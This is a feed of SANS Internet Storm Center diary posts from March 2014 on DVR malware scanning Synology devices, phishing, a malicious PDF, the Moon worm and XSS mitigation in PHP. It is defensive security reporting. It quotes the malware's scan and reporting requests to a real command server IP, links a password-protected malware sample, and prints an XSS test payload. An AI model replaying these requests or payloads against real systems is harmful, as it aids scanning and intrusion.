Latest Alerts

ISC StormCast for Tuesday, April 1st 2014 http://isc.sans.edu/podcastdetail.html?id=3915, (Tue, Apr 1st)

Mon, 03/31/2014 - 16:41
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

More Device Malware: This is why your DVR attacked my Synology Disk Station (and now with Bitcoin Miner!), (Mon, Mar 31st)

Mon, 03/31/2014 - 09:29

Update: Just found what looks like a bitcoin miner on the infected DVR. There are two more binaries. D72BNr, the bitcoin miner (according to the usage info based on strings) and mzkk8g, which looksl ike a simplar http agent, maybe to download additional tools easily (similar to curl/wget which isn't installed on this DVR by default). I will add these two files to https://isc.sans.edu/diaryimages/hikvision.zip shortly.

Last week, we reported that some of the hosts scanning for port 5000 are DVRs (to be more precise: Hikvision DVRs, commonly used to record video from surveillance cameras [1] ).

Today, we were able to recover the malware responsible. You can download the malware here https://isc.sans.edu/diaryimages/hikvision.zip (password: infected) .

The malware resides in /dev/cmd.so . A number of additional suspect files where located in the /dev directory which we still need to recover / analyze from the test system. The compromisse of the DVR likely happened via an exposed telnet port and a default root password (12345). 

Analysis of the malware is still ongoing, and any help is appreciated (see link to malware above). Here are some initial findings:

- The malware is an ARM binary, indicating that it is targeting devices, not your typical x86 Linux server.
- The malware scans for Synology devices exposed on port 5000. The http request sent by the malware:

GET /webman/info.cgi?host= HTTP/1.0 Host: [IP Address of the Target]:5000 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 0   - it then extracts the firmware version details and transmits them to 162.219.57.8. The request used for this reporting channel:   GET /k.php?h=%lu HTTP/1.0 Host: 162.219.57.8 User-Agent: Ballsack Connection: close   So in short, this malware is just scanning for vulnerable devices, and the actual exploit will likely come later.   [1] http://www.hikvision.com/en/us/Products_show.asp?id=4258

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Monday, March 31st 2014 http://isc.sans.edu/podcastdetail.html?id=3913, (Mon, Mar 31st)

Sun, 03/30/2014 - 16:24
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Malicious PDF sent in massive scam to Colombian users claiming to be from Credit score agency, (Sat, Mar 29th)

Sat, 03/29/2014 - 11:12

We got reports for a massive scam sent to colombian users claiming to be from one of the two credit score agencies in Colombia. The agency is called Datacredito, affiliated to experian. The following e-mail was received:

This e-mail poses as an alert for a false negative report to the credit agency. It comes with an attached PDF with the following information:

The file does not show malicious payload when scanned by antimalware software. However, this file has a PDF structure. Ater using PDFStreamDumper for reviewing, the following interesting information appeared:

This PDF has malicious scripting, which instructs the reader to download and execute the URL shown in the previous URL. After downloading the file shown in that URL, which is live at this time, a keylogger is downloaded.

Malicious PDFs are still a problem. If you want to avoid falling into one of this scams, please remember the following:

  • Have the last version of acrobat reader installed in your computer
  • Do not open attachments from unknown sources
  • Do not enable scripting in your acrobat reader configuration. Keep it turned off.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

War of the Bots: When DVRs attack NASs, (Fri, Mar 28th)

Fri, 03/28/2014 - 04:03

While looking at the latest honeypot data for what is happening with Synology devices, I did notice one particular agressive IP connecting to a number of our honeypot IPs. At first, I figured it may just be a new Shodan scan (got tons of them in the honeypot). But when I connected to port 443 using openssl, I saw a rather interesting SSL certificate being sent:

$ openssl s_client -connect a.b.c.d:443 CONNECTED(00000003) depth=0 C = CN, ST = ZheJiang, L = HangZhou, O = HIKVISION, OU = DVRNVR, CN = www.hikvision.com, emailAddress = menghong@hikvision.com verify error:num=18:self signed certificate verify return:1 depth=0 C = CN, ST = ZheJiang, L = HangZhou, O = HIKVISION, OU = DVRNVR, CN = www.hikvision.com, emailAddress = menghong@hikvision.com verify return:1 GET --- Certificate chain 0 s:/C=CN/ST=ZheJiang/L=HangZhou/O=HIKVISION/OU=DVRNVR/CN=www.hikvision.com/emailAddress=menghong@hikvision.com i:/C=CN/ST=ZheJiang/L=HangZhou/O=HIKVISION/OU=DVRNVR/CN=www.hikvision.com/emailAddress=menghong@hikvision.com

This certificate appears to be associated with a DVR sold in conjunction with security camera systems [1]. Usually these systems run some form of Linux, so I guess it is to expected that given a weak password, these systems get mistaken for a Linux server and exploited just like one.

Right now, if I am real lucky I may be able to get a hold of the owner of the DVR, but it looks like a Chinese residential IP so not getting my hopes up too high.

[1] http://www.hikvision.com/en/us/index.asp

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Friday, March 28th 2014 http://isc.sans.edu/podcastdetail.html?id=3911, (Fri, Mar 28th)

Thu, 03/27/2014 - 17:34
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Apple Credential Phishing via appleidconfirm.net, (Thu, Mar 27th)

Thu, 03/27/2014 - 13:15

ISC user Craig Cox wrote in alerting us of a fairly sophisticated phishing campaign that is currently in progress. The website appleidconfirm.net has a seemingly realistic Apple login page that is being sent out by email.

The site even includes JavaScript code which validates your Apple ID as an email in an attempt to obtain only valid credentials.

Upon submitting what it considers valid credentials, you're redirected to the /?2 page of the site which contains another form which appears to be Apple's site:

At this stage the site is collecting personal details about the account holder which may aid them in making changes to the account or stealing the victim's identity.  After submitting precious personal information, it's now time to give them your credit card information:

Only after supplying a valid Visa, Mastercard, American Express or Discover card number are you forwarded to the /?3 "Success" page.

Finally, after a just a couple of seconds on this page (before you have a chance to click one of the links which are actually a screenshot image of the real Apple site without any functional links) you are redirected to the real apple.com. At this point the attacker would have obtained all the necessary information to exploit the victim, and the victim would have absolutely no idea how this happened. Clever!

Technical Analysis

We're able to observe or infer several things through a quick analysis.

First of all, we can observe that the site is running on PHP:

Set-Cookie: PHPSESSID=4b2be321acb0eac806780b7cd3ae1ba8;

In the phishing emails, they have a paramter like /e=656d61696c4076696374696d2e656d61696c appended to the URL. Thanks to insight from ISC readers, it's now clear that this is the victim's email as a tracking identifier. (Hex to ASCII)

We can also see that the site is hosted by Lycos with a domain registered just a day ago via Tucows.

Looking at the front-end of the site, we can see that the phishers didn't actually replicate the full HTML/CSS page but rather overlayed screenshots of the real apple.com with forms. This is how they manage to so accurately mimic the appearence of the target site without affording much effort into the front-end development. The background screenshot of apple.com used on their main page can be seen at http://www.appleidconfirm.net/img/main.png

Lastly, we can see that the site is not using HTTPS. This is a key differentiator from the true apple.com login page which does utilize HTTPS. Yet another reason to pay close attention to the URL bar in your browser.

Mitigation

Obviously it's not very difficult to craft a successful phishing campaign, but from a technological standpoint it's difficult to thwart them. So, what can we do? We should invest in awareness through education. That means reconsidering the amount of time and budgeting you set aside to train the less technical staff about phishing and social engineering. Informally, it may be time to sit down with that friend or family member who keeps sending you ads for weight loss because they have fallen victim to the latest phish. Knowledge is power.

Finally, when you see a phish in progress take the time to write a few abuse emails to the relevant providers. (and forward the phish to us!)

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Mass XSSodus in PHP, (Thu, Mar 27th)

Thu, 03/27/2014 - 08:16

In writing web applications PHP developers often find themselves repeatedly calling the htmlentities function, or the htmlspecialchars function. These will encode the special characters of a string to their HTML entities, ensuring that output can safely avoid being executed by browser parsing engines.

The problem with this is a human one. Humans do make mistakes, and even those well aware of the consequences and solutions will eventually suffer from an oversight that results in an XSS vulnerability. How can we limit the possibility of creating vulnerabilities in such a situation?

We’ve seen a very fair share of approaches to mitigating XSS in PHP but one in particular seems to fly under the radar. PHP has a couple of configuration directives in php.ini which will automagically filter input by various sanitization and/or validation flags of your choosing. So, can we make it work like htmlentities? Yes!

In your (recent) default php.ini file you will find the following:

[filter] ; http://php.net/filter.default ;filter.default = unsafe_raw ; http://php.net/filter.default-flags ;filter.default_flags =

Modify these as follows:

[filter] ; http://php.net/filter.default filter.default = full_special_chars ; http://php.net/filter.default-flags filter.default_flags = 0

This will encode all $_GET, $_POST, $_COOKIE, $_REQUEST and $_SERVER values. (The original data can be accessed through the filter_input() function.)

Example In Action

As a quick proof of concept I built a simple login form that does no sanitization or encoding. The first (Username) field is pre-filled with the data you submitted if an error occurs, such as not providing any password. To exploit the first form field, I entered "><script>alert("XSS");</script> with no password at all.

Without the php.ini configuration changes:

The input data is parsed by the browser as code and the JavaScript alert is displayed, thereby proving the presence of an XSS vulnerability.

Now, with the php.ini configuration changes:

The input data is safely output into the form field as content instead of code, thereby mitigating the XSS vulnerability.

Common Questions
  • Do I still need to perform output encoding in my application?
    Yes. This approach will handle a large portion of the repetitive cases, but some necessity for output encoding will remain. A simple example would be the importance of using the urlencode function upon outputting a URL which contains user input.
  • What about JSON/JavaScript output?
    Any input you place into JSON or JavaScript from PHP’s superglobals would still be encoded.
  • Does this work for distributable web apps that run in shared hosting environments?
    This approach may not always be feasible in shared environments due to the potentially limited access to php.ini directives. If you’re building distributable web apps which support running in shared environments, it is not safe to rely on this approach. However, if you’re working in an environment with a custom PHP back-end running on a dedicated server(s) this approach may be your best bet.
  • Won’t this result in double encoding?
    Yes, quite possibly. That said, double encoding is far lower risk and more easily identifiable than XSS vulnerabilities.
Not a Replacement for Defense in Depth

While this approach can simplify output encoding and limit the risk of developer oversight, it should not be considered an end-all solution. You may have input data streams in your application other than PHP superglobals. You should still consider the results of a SQL query or cURL request, for example, as potentially malicious. Additionally, you should still perform penetration testing and code reviews to catch that inevitable XSS vulnerability before they do.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Mass XSSodus in PHP, (Thu, Mar 27th)

Thu, 03/27/2014 - 08:14

In writing web applications PHP developers often find themselves repeatedly calling the htmlentities function, or the htmlspecialchars function. These will encode the special characters of a string to their HTML entities, ensuring that output can safely avoid being executed by browser parsing engines.

The problem with this is a human one. Humans do make mistakes, and even those well aware of the consequences and solutions will eventually suffer from an oversight that results in an XSS vulnerability. How can we limit the possibility of creating vulnerabilities in such a situation?

We’ve seen a very fair share of approaches to mitigating XSS in PHP but one in particular seems to fly under the radar. PHP has a couple of configuration directives in php.ini which will automagically filter input by various sanitization and/or validation flags of your choosing. So, can we make it work like htmlentities? Yes!

In your (recent) default php.ini file you will find the following:

[filter] ; http://php.net/filter.default ;filter.default = unsafe_raw ; http://php.net/filter.default-flags ;filter.default_flags =

Modify these as follows:

[filter] ; http://php.net/filter.default filter.default = full_special_chars ; http://php.net/filter.default-flags filter.default_flags = 0

This will encode all $_GET, $_POST, $_COOKIE, $_REQUEST and $_SERVER values. (The original data can be accessed through the filter_input() function.)

Example In Action

As a quick proof of concept I built a simple login form that does no sanitization or encoding. The first (Username) field is pre-filled with the data you submitted if an error occurs, such as not providing any password. To exploit the first form field, I entered "><script>alert("XSS");</script> with no password at all.

Without the php.ini configuration changes:

The input data is parsed by the browser as code and the JavaScript alert is displayed, thereby proving the presence of an XSS vulnerability.

Now, with the php.ini configuration changes:

The input data is safely output into the form field as content instead of code, thereby mitigating the XSS vulnerability.

Common Questions
  • Do I still need to perform output encoding in my application?
    Yes. This approach will handle a large portion of the repetitive cases, but some necessity for output encoding will remain. A simple example would be the importance of using the urlencode function upon outputting a URL which contains user input.
  • What about JSON/JavaScript output?
    Any input you place into JSON or JavaScript from PHP’s superglobals would still be encoded.
  • Does this work for distributable web apps that run in shared hosting environments?
    This approach may not always be feasible in shared environments due to the potentially limited access to php.ini directives. If you’re building distributable web apps which support running in shared environments, it is not safe to rely on this approach. However, if you’re working in an environment with a custom PHP back-end running on a dedicated server(s) this approach may be your best bet.
  • Won’t this result in double encoding?
    Yes, quite possibly. That said, double encoding is far lower risk and more easily identifiable than XSS vulnerabilities.
  • How can I check that the directives are properly set before outputting anything from my application?
    The following code will check that the php.ini settings are in place as expected and discontinue execution with a relevant error otherwise. It should be placed at the beginning of your application before any other code is executed. if(ini_get('filter.default')!=='full_special_chars'||ini_get('filter.default_flags')!=='0') die('Missing and/or incorrect filter.default and/or filter.default_flags directives in php.ini');
Not a Replacement for Defense in Depth

While this approach can simplify output encoding and limit the risk of developer oversight, it should not be considered an end-all solution. You may have input data sources in your application other than PHP's superglobals. You should still consider the results of a SQL query or cURL request, for example, as potentially malicious. Finally, you should continue performing penetration testing and code reviews to catch that inevitable XSS vulnerability before they do.

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Thursday, March 27th 2014 http://isc.sans.edu/podcastdetail.html?id=3909, (Thu, Mar 27th)

Wed, 03/26/2014 - 17:07
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Cisco Semiannual IOS Security Advisory http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_mar14.html, (Wed, Mar 26th)

Wed, 03/26/2014 - 12:39

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Let's Finally "Nail" This Port 5000 Traffic - Synology owners needed., (Wed, Mar 26th)

Wed, 03/26/2014 - 07:20

We have written a couple diaries about port 5000 traffic, and received plenty of packet captures. But we still need to get all the pieces together to see what the "end game" is with these attacks. Here is what I found so far from our honeypot:

- a lot of the port 5000 traffic is spoofed.

I do receive "SYNs" from an IP, and my honeypot responds with a SYN-ACK, but then I get a reset back with a very different TTL.

- the once that connect, send a couple different requests (a.b.c.d is the address of the honey pot)

GET / HTTP/1.1 Accept-Encoding: identity Host: a.b.c.d:5000   GET /robots.txt HTTP/1.1 Accept-Encoding: identity Host: a.b.c.d:5000   GET / HTTP/1.1 Accept-Encoding: identity Host: a.b.c.d:5000   GET /webman/info.cgi?host= HTTP/1.0 Host: a.b.c.d User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36   GET /webman/info.cgi?host= HTTP/1.0 Host: a.b.c.d:5000 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 0   The last two requests point to a Synology vulnerability. But, just like the others, it appears to be more a "Fingerprinting" request trying to figure out if the system is vulnerable.   If you have a Synology Diskstation, I would very much appreciate if you could send these requests to the disk station, and send me a packet capture of the response. This way, I can improve my honeypot to respond "correctly". Please let me know what software version you are running.  

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Full Disclosure Mailing List is back: http://insecure.org/news/fulldisclosure/, (Wed, Mar 26th)

Wed, 03/26/2014 - 06:22

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Wednesday, March 26th 2014 http://isc.sans.edu/podcastdetail.html?id=3907, (Wed, Mar 26th)

Tue, 03/25/2014 - 16:52
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

A few updates on "The Moon" worm, (Tue, Mar 25th)

Tue, 03/25/2014 - 08:51

It has been over a month since we saw the "Moon" worm first exploiting various Linksys routers [1]. I think it is time for a quick update to summarize some of the things we learned since then:

Much of what we found so far comes thanks to the malware analysis done by Bernado Rodriges [2]. Bernado used QEMU to run the code in a virtual environment. QEMU is as far as I know the only widely available virtualization technique that can simulate a MIPS CPU while running on an x86 host. So far, most of what I have been doing relied on telnetting to an infected router. With QEMU, Bernado got additional insight into what happened with the worm. In particular, it is now easy to dump physical memory. The worm ran on OpenWRT. I am not sure if it would be possible to install the stock Linksys firmware in QEMU. Something on my list of things to try out. I think for future reverse analysis, this would provide a more realistic target. 

Infected systems will run an additional https server on a random port. The communication we observed in earlier posts is just https, using a self signed certificate. The server also provides statistics pages with summaries listing infected systems. For a screenshot, see https://twitter.com/daavidhentunen/status/441551682443300866/photo/1 .

At this point, I do still see regular hits from infected routers to my honeypot. They appear to have slowed down a bit, but I still get a number of scans a day.

[1] https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Summary+What+we+know+so+far/17633
[2] http://w00tsec.blogspot.com

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Tuesday, March 25th 2014 http://isc.sans.edu/podcastdetail.html?id=3905, (Tue, Mar 25th)

Mon, 03/24/2014 - 16:08
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

New Microsoft Advisory: Unpatched Word Flaw used in Targeted Attacks, (Mon, Mar 24th)

Mon, 03/24/2014 - 11:43

Microsoft today published a new security bulletin, announcing that it has seen a new Word 2010 exploit used in recent targeted attacks. The exploit uses a so far unpatched vulnerability in Word that is triggered by opening a crafted RTF document.

To prevent exploitation of the vulnerability, Microsoft released a "Fix It" that will prevent Word from opening RTF documents. [1][2] 

Frequently RTF ("Rich Text Format") is used as a more portable way to exchange documents with basic formatting elements. The Fix-It may not be appropriate if you use RTF documents regularly. However, given that RTF documents are portable and can be opened by other software, it MAY be ok to just use software other then word to open the document.

This vulnerability is identified by CVE-2014-1761.

More details about the exploit can be found in Microsoft's "Security Research and Defense Blog" [3]. It points out that EMET can help block the exploit if the "Mandatory ASLR" and the "Anti-ROP" features are selected. This may be of help if you can't stop opening RTFs altogether. Word 2013 appears vulnerable, but the exploit fails due to ASLR and "just" crashes Word 2013. 

The blog post also includes indicators of compromise for the particular exploit seen.

 

[1] https://technet.microsoft.com/en-us/security/advisory/2953095
[2] https://support.microsoft.com/kb/2953095
[3] http://blogs.technet.com/b/srd/archive/2014/03/24/security-advisory-2953095-recommendation-to-stay-protected-and-for-detections.aspx

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Integrating Physical Security Sensors, (Mon, Mar 24th)

Mon, 03/24/2014 - 07:30

I have been playing for a few years now with different network connected devices [1]. As a "security guy", a lot of this research has been about vulnerability in these devices, or what we sometimes call the "Internet of Things". Over the years, I also learned to appreciated the ability of these devices to deliver physical context to some events that I may see in my logs, and I started to add the state reported from some of these devices to my syslog collector feeding into my SIM (right now not a "full SIM, but Splunk for the most part). 

Here are a couple of experiences that I found helpful:

Servers

Servers (and many desktops) do provide a number of useful sensors. For example a sensor to detect opening the case, and various temperature sensors. The temperature sensor can easily be monitored with tools like Nagios. The case sensor is a bit more tricky. Yes, it can easily be monitored (nagios again), but I find that nobody resets the sensor in the BIOS after legitimately opening the case, and to avoid tampering with this setting, this requires a BIOS password. Not too many people are willing to set BIOS passwords and rather rely on the physical security of the data center itself. A switch port can also be used to detect disconnection of a server, and the power usage of your power distribution unit (PDU) can often be polled remotely. I haven't run into a PDU yet that can set a syslog/snmp message that would alert you of power use going to zero on a device. Usually they have alerts that will tell you about high load or high temperature.

Environmental Sensors

There are a number of environmental sensors that are available outside of the server. Many AC systems can be polled remotely I have run into http APIs, some snmp and even syslog. This can alert you of an AC failure before the temperature in your server rises significantly. Some advanced systems will also provide overall "health" information but I haven't played much with that yet. Usually this information is used for remote maintenance. Of course, you can always add additional network readable sensors for temperature and humidity. There are also a number of options to detect more "catastrophic" conditions like water leaks and to automatically shut off water feeds if they are detected.

Physical Sensors

Access cards and door open/close sensors are pretty much standard in large office buildings these days. But the information isn't always easily accessible to the network security team. Being able to correlate an event with a person's presence (or absence) from an area can be important. Not just to identify the culprit, but also to provide context to an alert. For example, a work station sending excessive HTTP requests while a user isn't sitting in front of it can be an important indicator. You may be able to get signals if a screen saver is engadged or not on a system in order to monitor physical security or additionally verify if a user is using a system or not (nagios can do that easily in Linux. Not sure if there is an easy way to poll in Windows remotely if a screen saver is engadged).

My favorite example is always a hotel in Singapore that used the signal from an opening room door to dispatch an elevator to that respective floor.

Cameras

Network cameras are pretty much everywhere these days. Some come with integrated motion sensors, or can detect motion by monitoring changes to the image. Either way, many of these cameras can send a signal whenver they detect motion, and even attach images. This can suplement some of the door sensors.

Anything else you recently integrated?

 

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Monday, March 24th 2014 http://isc.sans.edu/podcastdetail.html?id=3903, (Mon, Mar 24th)

Sun, 03/23/2014 - 16:56
(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

How the Compromised of a User Account Lead to a Spam Incident, (Sat, Mar 22nd)

Sat, 03/22/2014 - 07:34

ISC contributor Simon transmitted the following results of their investigation to the local users of their forum highlighting how a safety lapse on a user machine resulted into some dramatic consequences. It highlights the IR steps taken by the response team to cleanup, return the mail service in operation and dealing with the aftermath of the spam campaign.

--------------------------------

Late last night we had an occurrence that raised a red alert on one of our servers indicating it might have been compromised. We received notification from the abuse department of our ISP, that our servers were transmitting spams.

We immediately shut down all e-mail services then started to analyse the log files.

We found that all spams had been sent using a particular user account on this very server, that user enjoying the privilege of an e-mail account on this server. A whole botnet was participating in "delivering" the spams for distribution by our servers.

Further analysis of log files as well as packet captures showed that there had been no occurrence prior to the first login to the user's account, no attempts to break into that account was registered. The first attempt to log into that account already used the correct password.

We changed the password of that user, effectively taking control of that account away from that user, removed more than 17,000 spams still waiting to be delivered from the server's mail transmit queue, and began to partially restart the mail services until all mail servers were operating in full again with no further anomalies.

While we are waiting for reply from that particular user, who had instantly been notified about the issue as well, we can only assume what may have happened: we believe the user's computer has been compromised and the credentials for this server as well as possibly other sites (including telebanking etc.) have been stolen. That way the spammer then could use the correct password for the correct account a short while later and started his spam campaign.

In the meantime we are continuing to work on that affair to ensure, that ISPs affected by the spam campaign get to know about the result of our analysis (the whole spam campaign was stopped within one hour), also in the attempt to limit the impact of spam protection which might blacklist our e-mail servers.

The occurrence highlights the dangers of the highly networked environment we are operating in. A user's PC being compromised is not just a local event, it affects the user's ISPs and mail service providers, the banks the user works with. A compromised PC thus provides not only headache to the owner of that PC for exposing private and confidential details to others, but also a lot of headache to other people who provide service and trust in the PCs being handled securely.

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. http://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts